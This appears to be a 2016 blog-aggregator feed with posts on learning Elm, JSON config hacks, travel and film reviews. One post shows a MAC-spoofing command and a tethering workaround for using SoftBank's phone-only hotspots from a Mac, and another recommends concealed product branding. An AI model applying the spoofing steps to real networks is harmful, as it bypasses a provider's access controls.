Why am I bothering? Well, work-wise I've been floating around with abandoning the label of "full-stack developer" and "niching down" as we say in the consulting game to a purely back-end focused consultant. I think the state of browser development now is quite terrible and rapidly getting worse. So learning elm isn't necessarily about doing real apps in it. It's mostly for the experience of learning a program language with static types, immutability, and pure functions.

This post is not a hindsight, well-thought-out summary. I'm actively in the weeds porting an app from Angular 1.x to Elm. This is a snapshot of what I've seen so far. I don't know all of Elm yet, not even half way there. I wanted to write while things are still confusing and chaotic to create an honest snapshot.

compiler messages: Elm has a reputation about friendly/good compiler error messages. This plays out to be mostly true. However, I mostly still can't read them because the available docs so far that I've seen don't really teach the language as a language. It's all examples and "type this here" without giving me words and concepts for the syntax. So while the error messages are helpful, I still have to basically keyword scan them and guess what the problem might be.

examples: I also read that the elm examples are great. I found them to be almost laughably basic and non-comprehensive. In elm, it turns out that doing an HTTP GET and doing an HTTP POST require significantly different code, but the example only shows you a basic GET and that's not enough to cover the gaps between GET and POST in terms of encoding bodies, interpretting responses, decoding, etc. This was really frustrating several times. Need to decode a simple flat JSON object? Here's a clear example right in the docs. Got an JSON object containing a child object or a list, as you would in any real-world application? Not mentioned at all in the docs, have to ask in slack/FAQ and it turns out to be much more complicated. When dealing with HTML events, the docs mention there are stopPropagation and preventDefault things, but nothing about how to use them.

if it compiles, it works: This is a claim you often see about elm as well as Haskell. I want to state for the record that in my small number of hours programming elm, I have already managed to make at least 2 programs that compiled and ran with incorrect behavior. This did not manifest as runtime exceptions, but the program was wrong nonetheless. In one case I had done a refactoring to split my app up into modules and I ended up with 2 things both named model, one of which was just returning static initial data. Both worked as used, but one was totally wrong. Another time I was trying to decode a string enum (think names of playing card suits like "diamonds", "hearts", "spades", "clubs") to elm types. I had a version that compiled and ran but because I was doing decoding wrong, it was always hitting my default "unrecognized value" pattern match and using the default. My success pattern matches would never have matched. Only found it when the app was misbehaving.

syntax: Elm's syntax is I think mostly OK. I'm not used to the comma-first thing elm-format does and at the moment it fails to provide clean git diffs and defeats sorting properties, which I like to do. So if I had to make a call now, I'd say it's terrible but I'm keeping an open mind until I have more hours in the trenches. I'm also not sure why the function name must be repeated above the type annotation. Seems totally unnecessary. I don't like the ambiguity between calling a function and referencing a variable in scope. This has annoyed me in ruby as well. I prefer these 2 things to have different syntax. It's also weird that if you declare a function with no arguments, it's not a function, it's just a value. Same syntax, but declare at least 1 argument and you get a function. I understand why this is possible and that a function without arguments does not make sense in a side-effect-free language, but still I find the lack of syntax distinction unclear and confusing to read.

docs: The core language/library docs are coded in way that all of the current module's functions are directly in scope so they are bare references like decodeString or even just int which is actually Json.Decode.int. This is completely baffling to me as a beginner. I can't go into the elm-repl and type what I see. They are not written the way you would write them in an application using the module. You can't copy/paste them and most of the time you are confused about which module each name belongs to. I also now realize that almost without exception the core docs examples use ONLY functions from the module at hand. They aren't real-world use cases combining modules to do something useful. They are super-isolated 1-liners. The JSON docs make no mention of how to decode dates. I had to go find a community module.

order of constructor params: After banging my head against a compiler error message, I eventually figured out that when you define a type, the order that you declare the named fields matters. When you construct that type, you must pass things in that order, even though the fields have names. This came as a total shock to me. So for example:

-- given this type alias
type alias Entry =
    { id : Int
    , body : String
    , tags : List String
    , created : Date
    }

-- If I want to decode from JSON,
-- which I do in a different file

entriesDecoder : JD.Decoder (List Entry)
entriesDecoder =
    JD.list
        (JD.map4 Entry
            (JD.field "id" JD.int)
            (JD.field "body" JD.string)
            (JD.field "tags" (JD.list JD.string))
            (JD.field "created" Json.Decode.Extra.date)
        )

-- The order of the fields: id, body, tags, created must exactly match!
-- I was staring at compiler error messages for a long time
-- It is actually mentioned in the docs, but it didn't click with me
-- exactly what the docs meant

BDFL issues?: I'm not deep enough in it to really comment here, but talking with friends it seems like the community enthusiasm is outpacing evancz's ability to review and accept PRs, even just people expanding the documentation. At the moment there's a 1-line doc add PR that's been open for 6 months. I'm still keeping hope alive that time will sort this out, but at the moment I'm worried things are not in a good state in terms of community in the actual codebases. The slack channel though is very active and helpful.

Anyway I'm still charging forward with both my Angular to Elm side project port and reading the early access "Elm in Action" book as it comes out. More posts on this topic as things progress.

JSON comment tricks

Pete's Points — Sat, 10 Dec 2016 23:18:24 GMT

So as you have probably learnt and been frustrated by, JSON does not officially support comments. This, as I understand it, was done intentionally by JSON's creator Douglas Crockford to prevent abuse of comments for non-standard metadata. Be that as it may, and it may make sense for a data interchange format, JSON is used for configuration files commonly and the lack of comments can be frustrating. Here's some hacky tricks I sometimes use.

Disable keys with a prefix

Let's say I need to quickly switch a config file between a version with and without a certain value:

{"proxy": "http://proxy.example.com:8765"}

To disable it, I "comment it out" by changing the name of the property.

{"OFFproxy": "http://proxy.example.com:8765"}

Usually this has the desired effect and no ill side effects. I can imagine there are strict cases where it won't work, but mostly it's effective.

Add comments above

Here's how I add "comments"

{
  "// Use this when in the Narnia office": 0,
  "OFFproxy": "http://proxy-na.example.com:8765",
  "// Use this when in the Whoville office": 0,
  "proxy": "http://proxy-wv.example.com:8765"
}

I just start a key with "//" and set the value to zero. Usually works OK.

Enforcing drop order in Rust

Consulting on Adolfo Ochagavía — Sat, 10 Dec 2016 15:14:51 GMT

Some days ago I stumbled upon an old issue on Rust’s GitHub repository. While the title of the issue is “should struct fields and array elements be dropped in reverse declaration order (a la C++)”, the discussion also extends to whether the current drop order should be stabilized. Surprising as it may seem, drop order in Rust is unspecified and could theoretically be changed in the future. However, there are use cases that require enforcing a given drop order (see, for instance, this SO question).

2016-12-10

ho.dges.online — Sat, 10 Dec 2016 02:00:00 GMT

Slow placement group read operations in Ceph

Noah Watkins — Sat, 10 Dec 2016 02:00:00 GMT

An unsolved mystery involving slow reads and Ceph placement groups.

La La Land

🦉 olshansky 🦁 — Sat, 10 Dec 2016 01:54:17 GMT

Olshansky's review of La La Land

Hell or High Water

🦉 olshansky 🦁 — Fri, 09 Dec 2016 15:24:42 GMT

Olshansky's review of Hell or High Water

Spider-Man: Homecoming

🦉 olshansky 🦁 — Fri, 09 Dec 2016 04:07:26 GMT

Olshansky's review of Spider-Man: Homecoming

Client Success vs. Customer Success

Sam Solomon — Fri, 09 Dec 2016 02:00:00 GMT

How do people talk about the profession? Do more people refer to it as client success or customer success? What is the correct post-sales nomenclature?

How to manually package an Electron app for Windows

Juan Cruz Viotti — Fri, 09 Dec 2016 02:00:00 GMT

This article describes how to package an Electron application for Windows without additional tooling

Getting SoftBank WiFi hotspots working on Mac

David Mohl — Thu, 08 Dec 2016 03:59:00 GMT

This was originally posted on my medium but has been backported into this blog.

Here in Japan, every phone provider gives you access to their WiFi Hotspots when you sign up. They are great! They cover areas where your LTE might get a bit wonky and make sure you’re not eating all of your data right away.

Sadly though if you’ve ever been to Tokyo, the free WiFi spots that are available here (be it in Starbucks or other cafes) are… just not very good. Most of them are powered by Wi2 and while not necessarily bad, I never saw this many disconnects with any other provider. You constantly have to re-connect to the hotspot because all of a sudden everything stops working. Most of the time when you’re in the middle of something very important like browsing cat pictures or finishing that last 1% of a download.

Wi2 also offers a dirt-cheap WiFi plan that costs 400 yen ($4) a month and has pretty good coverage given what you pay for it. It’s my go-to recommendation when someone asks me which service to use, though it suffers from the same problems mentioned above.

Alternatives are the docomo tourist WiFi or some other services that charge you per hour, but why do I have to pay more when I already pay for my phone contract which includes SoftBank WiFi?

Testing waters

Just connecting to SoftBank WiFi on my Mac is giving me a error message. Who would have expected that.

“Aha!” he thought, “they are just filtering by User Agent!”. Open is the developer menu in Safari and the User Agent switched to SoftBank and sure enough, the message changed! Now telling me to go to “sbwifi.jp”. Though when trying to navigate it…

didn’t work.

When connecting with my phone to the same WiFi hotspot, it immediately authenticated me without asking for any details. So maybe it’s using the Mac address?

I authenticated on the WiFi hotspot, copied the Mac address to my Mac, spoofed it and disconnected my phone at roughly the same moment as my Mac starts connecting.

sudo ifconfig eth0 hw ether 00:01:02:03:04:05

This little trick usually gets most of the WiFi hotspots that are mobile only restricted. The phone disconnects and the Mac re-connects with the same hardware identifier the phone used. The WiFi spot thinks the phone just re-connected and all is good.

But on this one… it didn’t work. Hrrmm!

Something else is needed and I’m not ready yet to give up!

Digging deeper

So, a naive filtering to show the login page happens based on User-Agent. My phone is directly authenticated. So it’s probably some sort of certificate for authentication.

There is an iOS app which does authentication for you, but it only works from iOS 9 up. There must be another way.

On my phone, I manually navigated to sbwifi.jp, clicked the blue button and yup, I receive a SMS with a link I should click on.

Clicking the link and, sure enough, it downloads a certificate file to install on my iPhone!

All I have to do is get this certificate on my Mac and I should be good. I copied the link to my Mac and…! Nothing. The link only works out of the SoftBank network and not through WiFi. Dang it.

The last mile

What we got so far:

SoftBank uses UA to show you the correct login page
Not authenticated users get a “please go to sbwifi.jp” page
sbwifi.jp only works out of the SoftBank LTE/3G network and sends a link to a profile through SMS to the users phone
The link to the profile, again, only works out of the SoftBank LTE/3G network

So how do I get the profile on my Mac? The iPhone doesn’t let me download and share it through email and my Mac can’t download it. Just doesn’t work.

Luckily though, nowadays we can just enter the SoftBank network on our Mac! How? Through our phone of course!

To enable tethering on SoftBank iPhones you have to ‘purchase’ the tethering option through my.softbank.jp. Currently though that’s free for 2 years, so just enable it, wait a little bit and the “Personal Hotspot” option pops up in the settings.

Creating a hotspot… connecting to it… and….

Let’s try it again. UA switched to ‘iPhone’, navigating to sbwifi.jp, clicking the button and… yup there it is, the SMS to the profile. Copied to the Mac, clicked on it

jackpot.

Luckily macOS is compatible with iPhone configuration profiles out of the box so we can go ahead and natively install it without any issues.

Now all we have to do is disconnect from our iPhone, make sure the iPhone doesn’t automatically connect to SoftBank Wifi at the same time, connect to 0001softbank and tada! We have blazing fast internet :)

Thoughts 2

Separate Concerns — Thu, 08 Dec 2016 00:35:00 GMT

On Call

Alice Goldfuss started a debate about having developers on call. I am firmly in the camp of those who think it is a good thing, probably because I was a sysadmin before being a software engineer. But this means those developers must have the power to refuse to ship broken code that may make the pager go off as well.

In fact, it is all about fostering the sense of ownership, which is the N.1 trait I look for in developers. And this won’t be the first time I have quoted great people saying similar things!

The value of metrics

Here is something people who haven’t worked in B2B software companies may not understand: sometimes knowing your product’s metrics, how its users behave and the market it is operating in can be more valuable than the product itself. Small B2B2C software vendors often end up knowing things about their (huge) customers’ clients that the customers themselves don’t.

What that means is: if you provide third-party software to your users, ask the third-party vendor what data points they collect, what they can do with them, and if they can feed them back to you. And if you are the third-party vendor, consider the value of that data, and maybe find clever ways to turn it into a competitive advantage.

Why did the robot do that?

Explaining why AI makes decisions is going to be very important in the years to come. Trusting algorithms is hard for humans. This slows down adoption and progress the most in areas that really matter. So we need a way to let concerned people “feel” why machines do things the way they do it. Because writing papers is nice, but we all know simply telling people to trust experts is never going to work. This means those topics are now also UX problems.

Can’t you just…?

Someone made a nice web page to answer a question we hear pretty often. :)

EDIT: That was about cantyoujust.no which does not exist anymore.

Applications and Data

Here is something I have been believing in for a long time: there is no good technical reason why most Web-based application vendors force you to store your data on their servers. It should be possible to use, say, a presentation application from Google to edit slides stored on Microsoft’s servers.

Sadly, for reasons that probably have a lot to do with business models, things like remoteStorage did not really take off. But I hope someone will revisit that idea someday, and find a way to make it take off.

Send/Recv in mgmt

The Technical Blog of James on purpleidea.com — Wed, 07 Dec 2016 09:00:20 GMT

I previously published “A revisionist history of configuration management”. I meant for that to be the intro to this article, but it ended up being long enough that it deserved a separate post. I will explain Send/Recv in this article, but first a few clarifications to the aforementioned article.

Clarifications

I mentioned that my “revisionist history” was inaccurate, but I failed to mention that it was also not exhaustive! Many things were left out either because they were proprietary, niche, not well-known, of obscure design or simply for brevity. My apologies if you were involved with Bcfg2, Bosh, Heat, Military specifications, SaltStack, SmartFrog, or something else entirely. I’d love it if someone else wrote an “exhaustive history”, but I don’t think that’s possible.

Honeymoon in Hawaii

Milwaukee Maven — Wed, 07 Dec 2016 06:51:48 GMT

Well, I'm back from my honeymoon in Hawaii. This was the first vacation that Amanda and I have taken as just the two of us, so it was a lot of fun to get away from it all!

We left Wisconsin on Thrusday 10/27. Waking up at 4am was definitely a treat, especially after the 2$ High Lifes that we had at Chuck's the previous night. (it's vacation, don't judge). Our flight out went relatively smooth considering we sat on the tarmac for 30 minutes and the flight data recorded refused to work. After switching to a new plane, and getting rerouted directly to Honolulu rather than Salt Lake, we were on our way. Loosing the hour due to plane issues was made up in our direct flight. That being said, it is a LONG flight, around 8 hours. Luckily there were some movies and shows to watch (Captain America and some HIMYM, not bad). Of course, this was all going too smoothly for the airline's taste, so they decided to loose our luggage for a day.

Finally we arrived in Honolulu, HI. It was a surreal arrival. The weather was ideal, 75 and sunny. How could I tell this from inside the airport? Well oddly enough, the airports in Hawaii are half indoor and half outdoor. This is ideal... well unless it is a severe downpour with frequent lightning strikes but we'll save that story for our return flight...

After a short flight from Honolulu to Kaliua Kona, we had arrived at our destination. After picking up the Jeep Wrangler 4x4, we headed to Kona Coast resort. We got our keys, checked into our room, and went to bed at 7pm (12+ hours of travel will turn you into a zombie, not to mention the 4 hour time difference!). The next week was full of great sights and food. I'll try to squeeze in the highlights!

Before I start, I'd like to thank Andrew Doughty, and Wizard Publications for publishing The Big Island Revealed. We followed the book's recommendations for what to see, eat, and where to stay. At no point were we let down!

Makalawena:

This was one of our first excursions of the trip. This is a beautiful secluded beach just north of Kona. It took us about 20 minutes to make it down the very rough 4x4 trail to the beach. As Amanda put it, "It was like being in a car crash for 20 minutes!". We did some snorkeling here, and saw some very colorful fish and coral. The sand was white, soft, and abundant! On our way onto the beach, we saw a big sea turtle sunning itself. At the time we thought it was pretty big, until we saw the second giant one! This thing had to be almost 2.5-3 feet in length and at least 2 feet across! Amanda tried to get on the other side of it to be in a picture without getting too close. The turtle evaluated the situation. We must have looked hungry for turtle soup because it looked us both, then turned right around and back into the ocean.

This turtle relaxed here for a good 4 hours.

This one was about 5 times bigger than the one to the left. We
couldn't get a person in the picture for reference because you
aren't allowed to approach them because they are endangered.

Ultimate Burger:
This place had some killer burgers, all made from 100% grass fed beef from the island! Great seasoned fries too!

Snorkeling:
We took a morning trip to Kealakekua Bay via the Fair Wind II ship. It was a big catamaran with a "for show" sail. The ride to the bay took about 45min-1hour, and they provided breakfast. The views were amazing from the ship, and the weather was perfect and sunny. We saw a few Spinner Dolphins. They jump in front, and in the wake of the ship and do spins, very entertaining! When we arrived at the bay, they gave us a quick rundown of the procedures, and we were off. The reef was amazing, and visibility was over 80 feet. The reef was full of colorful fish of all different types. Some of the hilights were the Threadfin Butterfly, Moorish Idol, Rectangular Triggerfish, Red Parrot, Trumpet Fish, Moray Eel, and Slate-Pencil sea Urchin. Click here to see what they looked like.

Four Seasons Buffet:
We had a fancy buffet style dinner at the Four Seasons. Could there be such a thing as a fancy buffet? Yes, there is, and it is damn expensive too (18$ Mai Tais were the cheapest drinks). We ate inhuman amounts of snow crab claws, lobster tails, new york strip steak, sushi, and any other fancy dish you can think of. I think we may have almost gotten our money's worth =) The dinner was delicious, and we were right on the lani, with a view of the sunset over the ocean. After dark, they had a astronomer with a large telescope, and we were able to see Jupiter and 3 of its moons. It was really something!

Black Sand Beach:
We took the Jeep to this hard to get to black sand beach in Kehaha Kai state park.

Saddle Road / Mauna Kea:
Halfway thourgh our trip, we took a two day excursion to the Hilo side of the the Big Island. We braved the infamous Saddle Road, which really wasn't that bad at all. The sights changed quickly, and drastically. As soon as we hit higher elevations, no more palm trees and sunshine. It was eerie and foggy grasslands with sparse and contorted old trees. About halfway on the road, we turned to make the trip to the peak of Mauna Kea. This was a steep climb all the way to 13,796ft. The jeep made it easily, but I had to drive slow due to switchbacks and steep grade. At the top it was 36 degrees and snowing quite a bit. There was no good view at the peak due to snow, but the huge observatories and surreal moon like landscape were worth it.

Hilo:
In Hilo, we stayed at the Dolphin Bay Hotel. It was very nice there, and the hosts were the nicest people we met on the island. They were incredibly helpful in showing us where to visit in Volcano National Park, and were very knowledgeable on the current volcano activity and lava flow. While in Hilo, we checked out Hilo Burger Joint. They had some interesting and delicious burgers. I got a Nacho Burger which consisted of nacho cheese, and jalapenos, and served upside down (Their signature move maybe?). We also stopped at Rainbow Falls, which was flowing very heavily due to rain earlier in the day. The cave behind the falls was huge, and it was really a cool place to see. Another note on the Hilo side, it gets much more rainfall than the Kona side. The vegetation is much more lush, and there are hundreds of different flowers, plants and trees. The Banyan trees were quite a site!

Volcano National Park:
On our way back to Knoa, we stopped in Volcano National Park. The hilight was definitely the hike we did across the Kilauea Iki. It was huge, and hard to believe we were walking across what was once a cauldron of molten lava! (More details and pics to come on this, stay tuned for part 2).

Fat, Sick, & Nearly Dead: The Most Genius Infomercial Ever Created

Milwaukee Maven — Wed, 07 Dec 2016 06:50:48 GMT

Fat, Sick, & Nearly Dead: The Most Genius Infomercial Ever Created
By Andrew Glassman

A Brevielle Juicer

It's 3:30am, the late run of Die Hard has come to a conclusion, and John McClane comes out victor once again. Next up on the schedule, "Paid Programming". It's the crack-cocaine of late night television, the infomercial. The testimonials are fake, the products are cheap, and when you wake up at noon the next day you wonder what you're doing with your life. I was expecting more of the same when I flipped on 'Fat, Sick, & Nearly Dead' from the Netfilx Documentary section (this section is a guilty pleasure of many). The premise of the film is to follow Joe Cross, a middle aged Australian, on a road trip across America. Along the way, he participates in a juice fast. He consumes no food, only naturally created juice for 60 days. At the end, we see Joe 100 pounds lighter, and looking healthier than a vegan training for an Ironman. Oh by the way, he only uses a Breville juicer. At the end of the flick, you feel motivated to be healthy, inspired, ready to make changes in your life... if only you knew where to start (Hint: You won't want to be jucing 3 meals a day by hand!). You my friend, have just been mind ninja'd by Joe Cross, the producer, writer, and star of the most genius infomercial ever. Let's break down how Joe and Breville have managed to sell you a juicer, without you even realizing you've just sat through a 76mim sales pitch.

1) Joe sells you on buying a juicer, by not ever pitching a juicer. The main motive of a sales pitch is to get the target customer to think they have a need for the product. Joe does this not by pitching the product, but by showing how his health has improved over the time span of the movie. By focusing on the juice, and not the juicer, you don't feel like Joe is anything but a genuine guy who wants to help you. Joe's approach differs from normal infomercials such as a Bow Flex, or Gazelle Freestyle. Those types of infomercials focus on the product, and throw in a few body builders who wouldn't be caught dead using them in their daily routine. Showing someone’s genuine journey to success with the product ever-present in the background I think is a juicy recipe for success!

2) Another sneaky but effective tactic used is how Joe mentions the "Reboot" plan a few times. It is said in such a way that you aren't sure if he is referring to a process, or a product. Upon visiting the website "http://www.fatsickandnearlydead.com/" you see a large image linking you to "http://www.jointhereboot.com/". Visit the website and there is a large picture of Joe smiling and juicing away! Also a large image with the text "Ready to start juicing? Get the Breville" is right there for easy clicking. They even let you sign up to get free juice plans. They sell juicers, and juicer accessories. Using the "Reboot" terminology seemed to be a way for Joe to do some branding, without overtly stating Reboot was even a brand!

3) There are many shots in the movie of Joe juicing many assorted fruits and veggies. At no point does he overtly tell you how he easy it is, but it is apparent that it is a breeze to juice anything. There is no cheesy "It's as easy as 1,2,3!" to be found in this film. It is interesting how you never see him clean it. I bought a juicer and it is a chore to clean, it’s messy, and takes up a lot of space.

3) There are also testimonials within the film, aside from Joe's main journey for health. There is one where a trucker loses a massive amount of weight, probably a few hundred pounds. You actually are rooting for the guy in the testimonial. When he triumphs this really solidifies the idea in the audiences mind that a juice fast is some kind of miracle diet. Meanwhile, Joe’s brother does not follow the diet and has a heart attack. While this is all real life, it makes you wonder if the heart attack could have been avoided if only he had started the juice fast.

So if I had to write an infomercial for a new product, here are the points I'd borrow from Fat, Sick & Nearly Dead
1) Don't pitch the product, pitch the story of how your product will help the customer.
2) Don't focus on the product. Again, sell the story, but make sure your product is ever present. Make sure your product appears easy to use, and hide the messy parts.
3) Let people who will actually use your product sell it. Don't hire paid actors, or use people who wouldn't use your product normally. If you don't make the testimonials believable, viewers may think your product is fake, or a hoax.
4) Casually brand your product throughout the infomercial. Don't make it obvious what you are doing.
5) IMPORTANT: Make it insanely easy to find your product online. This is where you can start selling the actual product by its brand name that was casually used in the infomercial.

At its core, "Fat, Sick & Nearly Dead" is an infomercial with all the annoying parts stripped out and thrown up on a web site. This is an amazing idea that few have executed this well. The stories are so genuine and honest, yet it plays so well in directing viewers to channels to buy a Breville juicer or Reboot products. Even if a person starts juicing and doesn't buy their products, they will point their friends to the film, and they may become a potential customer. Bottom line is that “Fat, Sick & Nearly Dead” is the most genius and entertaining infomercial I’ve seen in a long time. If "Paid Programming" learns anything from Joe I'll be in for some more long nights.

Extremely Fake Cheapskates! Season One Recap

Milwaukee Maven — Wed, 07 Dec 2016 06:46:00 GMT

If you've been browsing Netflix lately, you may have noticed a recent influx of trashy reality TV shows. While I normally avoid these like the plague, there was one that recently piqued my interest. I've been reading the Mr. Money Mustache blog lately so I just HAD to watch Extreme Cheapskates. Have these extremists used any of MMM's penny pinching tactics? Maybe there would be some useful tricks I could impress my wife with! I was not disappointed. This show was a gold mine of hilarity, but it was rather inconsistent. On one hand there are characters such as Jeff, a man who may out stash Mr. Mustache himself. On the other, we have people like Vickie, John, and Abdul, who's money saving methods seemed about as real as an episode of Keeping up with the Kardashians.

Lets meet the cast of characters that Extreme Cheapskates has lined up and see if we can filter out the real eagle squeezers. I'll rate each one on a scale of 1 (Gucci hidden under the bed) to 10 (Ghandi would be proud).

Kate
To start off the season we meet Kate, a sad and lonely lady who lives in what appears to be Manhattan. I honestly felt bad for her, and I think she may have some mild Asbergers and Anxiety issues. She lives like a depression era begger, going so far to eat and serve to her 'friends' expired food from garbage cans. I don't think she has spent a cent of money on anything besides her electric bill and rent. Her "favorite t-shirt" is tattered, disgustingly yellow, and full of holes. Her prized possession seems to be a pair of athletic shorts she's owned for 13 years. These are now proudly held on by a binder clip that she probably took from work.

Kate picking out some appetizers for her dinner party.

Cheap O Meter: 10 - Sad and lonely, but cheap as hell.

Terrence
Terence is a school teacher with some fat bank accounts. You wouldn't guess it from outward appearances though. His Cinder block home is furnished with sparse folding chairs, and card tables. He's proud of his half functional desk in his office. Sorry, allow me to clarify. It's not 'half functional', it's literally half of a desk. Terrence splurged on what appears to be about a 30'' flat panel TV. The TV sits lonely on the floor in the corner of the living room. Once a year Terrence treats his family to a nice meal out. I'm skeptical of how the events at this dinner unfold. Terrence's wife just happens to invite his Aunt and Uncle along for the dinner, un-announced. Terrence rebuttals by treating the family to a fine dining experience at a Chinese buffet. He tries to save some coin by attempting to only buy 3 plates for 7 or so people. He is then brash enough to pay for the entire meal in small change! While Terrence's home has all the signs of a cheapskate the family's reaction to his shenanigans tell the true story, this one reeks of reality TV script writing.

Terrence gleefully presenting his family with three plates of Chinese food. They are less than impressed.

Cheap O Meter: 6 - Started out strong, but this stinks of reality TV scripting.

Greg
Greg is a young guy who knows the value of a dollar... Or maybe not... I'm not sure Greg has ever had to spend a dollar of his own his entire life! Greg lives for free in his Grandma's house, yet has two roommates who he charges rent. Greg saves money on laundry by showering with his clothes on. Greg grabs condiments from every restaurant he enters. Greg drinks water out of old yogurt cups for no apparent reason. I guess grandma took all her cups with her to Florida. Greg flushes the toilet once a week. Greg is the kind of guy who waits for you to order first at a restaurant, then will just eat half your shit. Bottom line, Greg is not a cheapskate, he's just a freeloading asshole!

Greg, multitasking.

Cheap O Meter: 3 - Cheap is too kind of a label for Greg. Greg is just a freeloading asshole!

Victoria
Victoria is the Queen of Cheap. If you're in her kingdom, you best be pinching pennies as well. You better know exactly how much electricity it takes to heat up that dinner in the microwave, or you'll have hell to pay. Victoria and Kate must have gone to culinary school together, because they both know where to find the finest ingredients, the dumpster! Victoria's dirtiest cheapskate secret is her water saving tactics. Why waste water like Greg and flush once a week when you can flush NEVER! Yes folks, that ain't jars of lemonade next to the toilet. Now that Victoria's boyfriend has moved in, she's upgraded to a his and hers jar set!

Victoria, probably pouring jars of pee onto her compost pile.

Cheap O Meter: 8 - Victoria's a seasoned cheapskate for sure, but there's always room for improvement.

Abdul - (Hot Dog guy)
Abdul is a Hot Dog Vendor. The ladies love his wieners! Abdul puts his cheapness to the test by throwing his wife an anniversary party... for $25 dollars. While his haggling skills are to be admired, his wife's reaction leads me to believe that most of this cheapness was put on for show.

Cheap O Meter: 6 - Hire this guy to throw you a party on your dime, literally, just a dime.

Jeff (The real deal!)
Jeff. Oh Jeff, where do I start with this guy. If you read Mr. Money Mustache's blog, then you will admire Jeff despite his quirks. This guy is the definition of cheap. He enjoys cushion diving: the act of entering a local restaurant and non-nonchalantly sitting in every booth to search for dropped change. Whilst making the rounds, he shoves his hands into every booth crevasse, violating any dignity the seat cushion may have had. Jeff could be the third member of The Sticky Bandits (Jeff does bear a striking resemblance to Marv). On top of that ridiculousness, you won't believe what he did with the $7 he found. Jeff was able to haggle down the butcher into selling him two lamb skulls for only $7, what a deal! Boil these bad boys up, and baby, you got yourself a stew!

Jeff searching for change by an air pump.

Jeff preparing some lamb heads. Yummy!

Cheap O Meter: 10 - This guy is the real deal, just don't attend any of his dinner parties.

Wow, who would have thought that personal finance could be so entertaining? Watch the first season of Extreme Cheapskates, and let me know if I'm accurate in my ratings. Until season 2, stay cheap my friends.

To The Moon - Game Review - Humble Indie Bundle X

Milwaukee Maven — Wed, 07 Dec 2016 06:44:12 GMT

I picked up Humble Indie Bundle X last week. After installing the games, I didn't know where to start. I looked over the titles and their screenshots. One in particular caught my eye. The title was To The Moon. I was intrigued by it's 90's sprite-ish overhead Japanease art style. I like this style as it reminds me of many great games I have played like ChronoTrigger, Zelda, and Pokemon. I also wanted to be an astronaut as a kid, and the concept of going back in your memory to live another life was very interesting. I decided to give the game a try, and I was not disappointed. While there are some game-play flaws, I think the story, theme, and heart put into the game by the developers trumps the downfalls enough to say this was a great play-though.

Visual Style

The visuals in the game are amazing. The colors used blend well together. I always enjoy games that have such great styling versus games that go for absolute realism. I think the artists and director captured the settings they wanted perfectly. The settings were nicely detailed. Outdoors, there were flowers, animals, and beautiful scenery. Indoors, the decor was excellently styled, and no detail was left out. They were vibrant when they needed to be, and dark and mysterious when the situation was tense.

Audio

The score of the game is simple, but catchy and enchanting. There are a few musical themes that run through the game that ties the Acts together nicely. The audio is perfectly matched in all situations, and It never really had any noticeable flaws. I also like how the developer chose to use high quality audio, and not 8 bit audio like a lot of games of this visual style tend to use. This decision adds much more heart and feeling to the game, and you didn't feel like there was a barrier between yourself and the game world.

Gameplay

While the game as a whole works, the biggest part that didn't work for me was the actual game play. The point-click navigation is kind of annoying, and I didn't realize until the last 10 minutes of the game that I could use the arrow keys to move. The characters move a little to slow for my taste as well. I really just wanted to move through the story, and the game play actually seemed to be slowing my progress down. The biggest annoyance for me were the visual "flip the tile" puzzles. These were really pointless, they really had no explanation for why they existed. Luckily the puzzles were very easy and took 30 seconds max to complete. Secondly, finding the mementos became a pain by the end of the game. There were a few times that finding the last memento was quite a pain. On the other hand, I enjoyed when the doctors had to "squeeze" mementos out of Johnny to proceed. My biggest gripe, and nearly game breaking bug, is the horse riding level. This was a painful, painful, level to play through. The level is way too big, and it is very unclear what you must do. Once you do complete what you are intended to do, you can't dismount the horse. Only after 5 or so minutes of frustration, did I check Google. Luckily many others had the same issue I had, and explained how to proceed.

Story

The story told in the game is very touching. I find myself liking these types of games lately. I like being able to play a short 2-4 hour game, and be able to get a narrative out of it as well. Some other examples of games I've liked along these lines are Braid, Dear Ester. and Limbo. To The Moon is definitely science fiction, but the themes they touch on are very human. The story is very intriguing, and mysterious. It really did keep me guessing until the end. The denouement gets a little boring, but it does nicely tie up the story.

Conclusions

To The Moon is a beautifully crafted game experience. A polished art style and excellently produced soundtrack hide some minor gameplay flaws. These well done parts also make the not-so-fast paced gameplay a minor hindrance. Overall I'd give this game a 8.5/10

Links - December 07, 2016

Avy Faingezicht — Wed, 07 Dec 2016 02:00:00 GMT

Understanding Net Promoter Score

Sam Solomon — Wed, 07 Dec 2016 02:00:00 GMT

Understanding Net Promoter Score was among the first posts we published about NPS. Since then it has become one of the most-read articles on this blog.

Annoying CSV and the JSON solution

infrequent oscillations — Wed, 07 Dec 2016 00:44:30 GMT

In which we skirt a CSV problem by using JSON.

Arrival

🦉 olshansky 🦁 — Tue, 06 Dec 2016 03:29:37 GMT

Olshansky's review of Arrival

2016.12.06

A Holding Company — Tue, 06 Dec 2016 02:00:00 GMT

met with andy today, great meeting, think he began to see the possibilities.

What is Transhumanism?

Macleod Sawyer | Web Portal Feed — Tue, 06 Dec 2016 02:00:00 GMT

Transhumanism (abbreviated as H+ or h+) is an international and intellectual movement that aims to transform the human condition by developing and creating widely available sophisticated technologies to greatly enhance human intellectual, physical, and psychological capacities.

They promote an interdisciplinary approach to understanding and evaluating the opportunities for enhancing the human life. Attention is given to both present technologies, like genetic engineering and information technology, and anticipated future ones, such as molecular nanotechnology and artificial intelligence.¹

The enhancement options being discussed include radical extension of human health-span, eradication of disease, elimination of unnecessary suffering, and augmentation of human intellectual, physical, and emotional capacities. Other transhumanist ideas include space colonization and the possibility of creating artificial intelligent machines, along with other potential developments that could profoundly alter the human condition. The ambit is not limited to gadgets and medicine, but encompasses also economic, social, institutional designs, cultural development, and psychological skills and techniques.¹

Transhumanists view human nature as a “work-in-progress”, something that requires understanding that we need to grow and change as we learn more about the world around us. Transhumanists believe that we (as a species, and as an individual) can take control of our own evolution, and make not only ourselves better, but make the world better through constant iterations of bio-testing.

Transhumanism is an effort to put a name and movement behind the push for scientific advancement of the human species. They do not believe that anything is purely “natural” and can’t be changed. They believe anything, and everything can be changed, modified, and made better through advancements in medicine, renewable energies, technologies and colonization. This a pro-science, pro-change, pro-human movement.

I will write more on this in the future, if you have any questions or want to spark a conversation on this you may get in contact with me.

^1..Portions of the above are taken from Ethical Issues for the 21st Century by Nick Bostrom)

My talk at the NYC Machine Learning meetup

Ryan Compton — Tue, 06 Dec 2016 02:00:00 GMT

Check out this video of my talk at the NYC Machine Learning meetup. It’s based on this blog post and the deck is here.

Updating Homebrew formulae when your software gets a new version

Jonathan Chang — Mon, 05 Dec 2016 02:00:00 GMT

